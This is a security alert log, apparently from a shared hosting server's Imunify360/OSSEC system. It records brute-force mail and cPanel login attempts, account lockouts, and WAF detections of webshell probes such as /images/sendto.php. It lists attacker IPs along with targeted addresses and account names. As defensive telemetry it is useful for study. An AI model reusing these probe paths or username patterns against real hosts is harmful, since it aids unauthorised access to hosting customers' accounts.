2026-02-01 00:42:09 dovecot_login authenticator failed for H=(DAN2RhVy96) [158.94.208.215]:60817: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/sendto.php||SC:/home/medinovacom/public_html/images/sendto.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-02-01 00:43:49 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:55092: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:44:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52868: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:43:21 dovecot_login authenticator failed for H=(BtPQJi) [158.94.208.215]:59387: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:44:09 dovecot_login authenticator failed for H=(cYp7D1AEX5) [178.16.54.22]:55366: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:44:09 dovecot_login authenticator failed for H=(mFSdR3Jwy) [158.94.208.215]:52235: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-02-01 00:44:24 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:44564: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:44:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51705: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 00:45:04 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:34724: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:45:21 dovecot_login authenticator failed for H=(fZLwp9Wj) [158.94.208.215]:54754: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:45:33 dovecot_login authenticator failed for H=(ujFZpWxuMW) [178.16.54.22]:52632: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:45:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55857: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.17.142
country_id: 6252001
description:
[2026-02-01 00:45:10 +0800] info [cpaneld] 45.38.17.142 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.136.214.229
country_id: 6252001
description:
[2026-02-01 00:45:59 +0800] info [cpaneld] 69.136.214.229 - gagasanteguhcommy "GET /login/?login_only=1&user=gagasanteguhcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteguhcommy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.113.148.77
country_id: 6252001
description:
[2026-02-01 00:45:53 +0800] info [cpaneld] 69.113.148.77 - gagasanteguh "GET /login/?login_only=1&user=gagasanteguh&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteguh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.82.150.222
country_id: 6252001
description:
[2026-02-01 00:45:56 +0800] info [cpaneld] 68.82.150.222 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:45:35 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61189: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-02-01 00:46:15 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th [58.8.48.178]:42461: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.16.226.146
country_id: 6252001
description:
[2026-02-01 00:46:26 +0800] info [cpaneld] 47.16.226.146 - gagasante "GET /login/?login_only=1&user=gagasante&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasante (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.91.86.145
country_id: 6252001
description:
[2026-02-01 00:46:33 +0800] info [cpaneld] 173.91.86.145 - gagasan "GET /login/?login_only=1&user=gagasan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.27.132.105
country_id: 6252001
description:
[2026-02-01 00:46:46 +0800] info [cpaneld] 108.27.132.105 - gag "GET /login/?login_only=1&user=gag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gag (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:46:07 dovecot_login authenticator failed for H=(XgW8oQmga3) [158.94.208.215]:60453: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.105.135.19
country_id: 6252001
description:
[2026-02-01 00:46:21 +0800] info [cpaneld] 76.105.135.19 - gagasantegu "GET /login/?login_only=1&user=gagasantegu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasantegu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.127.96.52
country_id: 6252001
description:
[2026-02-01 00:46:41 +0800] info [cpaneld] 172.127.96.52 - gaga "GET /login/?login_only=1&user=gaga&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gaga (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.78.247.109
country_id: 953987
description:
2026-02-01 00:46:40 dovecot_login authenticator failed for H=([41.78.247.109]) [41.78.247.109]:50508: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.245.44.176
country_id: 6252001
description:
[2026-02-01 00:46:51 +0800] info [cpaneld] 162.245.44.176 - gagasan1 "GET /login/?login_only=1&user=gagasan1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasan1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.46.227.14
country_id: 6252001
description:
[2026-02-01 00:46:18 +0800] info [cpaneld] 68.46.227.14 - gagasanteguhc "GET /login/?login_only=1&user=gagasanteguhc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteguhc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.241.134.197
country_id: 6252001
description:
[2026-02-01 00:46:29 +0800] info [cpaneld] 96.241.134.197 - gagasant "GET /login/?login_only=1&user=gagasant&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasant (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:46:42 dovecot_login authenticator failed for H=(bZnOS4T) [178.16.54.22]:60131: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.59.23.219
country_id: 6252001
description:
[2026-02-01 00:46:49 +0800] info [cpaneld] 71.59.23.219 - ga "GET /login/?login_only=1&user=ga&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ga (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.46.206.163
country_id: 6252001
description:
[2026-02-01 00:46:35 +0800] info [cpaneld] 24.46.206.163 - gagasa "GET /login/?login_only=1&user=gagasa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.9.141
country_id: 6252001
description:
[2026-02-01 00:46:38 +0800] info [cpaneld] 172.59.9.141 - gagas "GET /login/?login_only=1&user=gagas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.245.17
country_id: 6252001
description:
[2026-02-01 00:46:03 +0800] info [cpaneld] 172.58.245.17 - gagasanteguhcomm "GET /login/?login_only=1&user=gagasanteguhcomm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteguhcomm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.206.185.68
country_id: 6252001
description:
[2026-02-01 00:46:12 +0800] info [cpaneld] 71.206.185.68 - gagasanteguhcom "GET /login/?login_only=1&user=gagasanteguhcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.218.198
country_id: 6252001
description:
[2026-02-01 00:46:15 +0800] info [cpaneld] 172.59.218.198 - gagasanteguhco "GET /login/?login_only=1&user=gagasanteguhco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteguhco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.172.106.105
country_id: 1814991
description:
2026-02-01 00:46:20 dovecot_login authenticator failed for H=([117.172.106.105]) [117.172.106.105]:58200: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.133.160.49
country_id: 6252001
description:
[2026-02-01 00:46:23 +0800] info [cpaneld] 40.133.160.49 - gagasanteg "GET /login/?login_only=1&user=gagasanteg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gagasanteg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-02-01 00:46:28 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:10248: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:46:46 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56761: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:47:38 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57724: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-02-01 00:47:56 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:35076: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:47:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.124.2
country_id: 1269750
description:
2026-02-01 00:47:50 dovecot_login authenticator failed for H=(static.bb.ill.59.92.124.2.bsnl.in) [59.92.124.2]:39161: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:47:19 dovecot_login authenticator failed for H=(X3peQ4gZF) [158.94.208.215]:53107: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-02-01 00:47:27 H=([64.89.160.15]) [64.89.160.15]:58282 F=<drdavid00r5@outlook.com> rejected RCPT <roz@af-sb.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:47:07 dovecot_login authenticator failed for H=(oeUNrA) [178.16.54.22]:53419: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.53
country_id: 3865483
description:
2026-02-01 00:48:07 dovecot_login authenticator failed for H=([167.250.118.53]) [167.250.118.53]:47510: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.8.165
country_id: 1269750
description:
2026-02-01 00:48:04 dovecot_login authenticator failed for H=(abts-tn-static-165.8.185.136.airtelbroadband.in) [136.185.8.165]:39346: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-02-01 00:48:05 dovecot_login authenticator failed for H=([45.82.109.136]) [45.82.109.136]:34756: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:48:07 dovecot_login authenticator failed for H=(ZBkk6CODH) [158.94.208.215]:55636: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 00:48:21 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:58103: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.128.10.138
country_id: 1168579
description:
2026-02-01 00:48:39 dovecot_login authenticator failed for H=(203-128-10-138.braintel.net.pk) [203.128.10.138]:39486: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:48:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-02-01 00:48:31 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:47650: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 00:48:20 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:54550: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-02-01 00:48:45 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:57319: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:48:42 dovecot_login authenticator failed for H=(44t5OznMk3) [178.16.54.22]:58355: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 00:48:02 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:33056: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:48:17 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:65337: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:49:55 dovecot_login authenticator failed for H=(jCDzClOdg) [178.16.54.22]:50936: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 00:49:58 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:56038: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:49:19 dovecot_login authenticator failed for H=(qje6O9MjnA) [158.94.208.215]:62653: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:49:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:50:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55290: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:50:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:50:07 dovecot_login authenticator failed for H=(TVqswuQF21) [158.94.208.215]:52438: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.185
country_id: 1733045
description:
2026-02-01 00:50:23 dovecot_login authenticator failed for H=([49.124.148.185]) [49.124.148.185]:36916: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:50:25 dovecot_login authenticator failed for H=(cwg4PwAxGI) [178.16.54.22]:49184: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.31.158
country_id: 3017382
description:
2026-02-01 00:50:31 dovecot_login authenticator failed for H=laubervilliers-657-1-93-158.w80-14.abo.wanadoo.fr [80.14.31.158]:40740: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.94.5.43
country_id: 1814991
description:
2026-02-01 00:50:43 dovecot_login authenticator failed for H=([112.94.5.43]) [112.94.5.43]:33428: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-02-01 00:50:33 dovecot_plain authenticator failed for H=(inited) [37.208.46.130]:40684: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.18
country_id: 1269750
description:
2026-02-01 00:50:10 dovecot_login authenticator failed for H=([128.185.101.201]) [122.185.146.18]:52008: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:50:30 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:64580: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:51:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54598: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:51:55 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59874: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:51:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:51:19 dovecot_login authenticator failed for H=(9vK41rhX) [158.94.208.215]:53881: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:51:36 dovecot_login authenticator failed for H=(2Qr03LEWs) [178.16.54.22]:49683: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:52:07 dovecot_login authenticator failed for H=(Mgb3nvCN00) [158.94.208.215]:64149: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:52:24 dovecot_login authenticator failed for H=(rqNoFpVfp) [178.16.54.22]:60849: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.210.27
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=73681523583000 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 00:52:10 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:48908: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.133.117
country_id: 1835841
description:
2026-02-01 00:52:54 dovecot_login authenticator failed for H=([218.146.133.117]) [218.146.133.117]:46964: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 00:52:13 dovecot_plain authenticator failed for H=host-196-47-172-253.afnet.net (super) [196.47.172.253]:59783: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 00:53:05 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:56378: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/component/tag/images/news-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:53:19 dovecot_login authenticator failed for H=(N2dbT31n) [158.94.208.215]:63345: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:53:41 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:58920: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:53:12 dovecot_login authenticator failed for H=(r7Xa4SG) [178.16.54.22]:51697: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-02-01 00:54:55 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:50128: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:54:06 dovecot_login authenticator failed for H=(qybYHoW6J) [178.16.54.22]:59283: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:54:07 dovecot_login authenticator failed for H=(P82FZGCd) [158.94.208.215]:54420: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 00:54:08 dovecot_login authenticator failed for H=(dJCEuh) [141.98.11.48]:55812: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 00:54:54 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:43710: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 00:55:21 +0800] info [cpaneld] 185.204.54.153 - imax "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user imax (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.60
country_id: 1668284
description:
2026-02-01 00:55:02 dovecot_login authenticator failed for H=110-25-109-60.adsl.fetnet.net [110.25.109.60]:34975: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 00:55:14 dovecot_login authenticator failed for H=(T7rvsI) [141.98.11.48]:62396: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 00:55:58 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:31130: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 00:55:05 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:52198: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:55:19 dovecot_login authenticator failed for H=(ghZFp6) [158.94.208.215]:55863: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:55:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-02-01 00:55:03 H=([64.89.160.15]) [64.89.160.15]:61485 F=<drdavid00r5@outlook.com> rejected RCPT <sales@cordage.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:55:12 dovecot_login authenticator failed for H=(ODGU2FNi) [178.16.54.22]:61243: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 00:55:45 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:61431: 535 Incorrect authentication data (set_id=support@ocned.com)


